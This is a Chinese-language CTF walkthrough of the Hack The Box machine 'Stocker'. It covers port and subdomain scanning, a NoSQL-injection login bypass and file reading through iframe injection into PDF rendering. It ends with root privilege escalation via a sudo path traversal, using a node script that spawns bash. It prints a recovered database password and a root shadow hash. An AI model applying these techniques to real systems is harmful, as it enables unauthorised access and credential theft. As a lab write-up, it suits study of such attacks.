基本信息

端口扫描
22和80:
1 | nmap -sC -sV -Pn 10.10.11.196 |
80
需要加hosts:
1 | 10.10.11.196 stocker.htb |

子域名扫描
子域名可以发现dev:
1 | ffuf -w ~/Tools/dict/SecLists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u "http://stocker.htb/" -H 'Host: FUZZ.stocker.htb' -fs 178 |
dev
同样加hosts后访问,需要登录:

NoSQL injection
基础的NoSQL injection,需要修改使用json格式,绕过登录:
- NoSQL injection - HackTricks
https://book.hacktricks.xyz/pentesting-web/nosql-injection#basic-authentication-bypass


LFI
订单功能根据提交的参数渲染生成pdf,可以尝试提交iframe之类的,使其渲染时嵌入本地文件:


LFI
验证可行,后面就是一点点读文件:


index.js
/var/www/dev/index.js文件中得到密码:
1 | const dbURI = "mongodb://dev:IHeardPassphrasesArePrettySecure@localhost/dev?authSource=admin&w=1"; |
user flag
passwd中得到的用户名angoose使用这个密码登录,得到user flag:

提权信息
sudo使用node运行指定目录下 *.js
:

因为这里是用的是 *.js
,那么 /usr/local/scripts/../../../../xxx.js
这种路径也是符合要求的,所以我们就能在可写目录写js文件,使用node运行执行任意命令
提权 & root flag
1 | sudo /usr/bin/node /usr/local/scripts/../../../tmp/exp.js |

exp.js
1 | const fs = require("child_process").spawn("/usr/bin/bash", {stdio: [0, 1, 2]}) |
shadow
1 | root:$6$EZqTwEpX4KybzpVB$BO02GOjBAfc/gEUXTNVQ3J2xQFeS4sGXNnr/zporRnTKZ46fskNi.ijPrSowdfcDn4xi4p.hCGVMaolooyHHv1:19332:0:99999:7::: |
参考资料
- NoSQL injection - HackTricks
https://book.hacktricks.xyz/pentesting-web/nosql-injection#basic-authentication-bypass - Stocker - HTB [Discussion] | BreachForums
https://breached.vc/Thread-Stocker-HTB-Discussion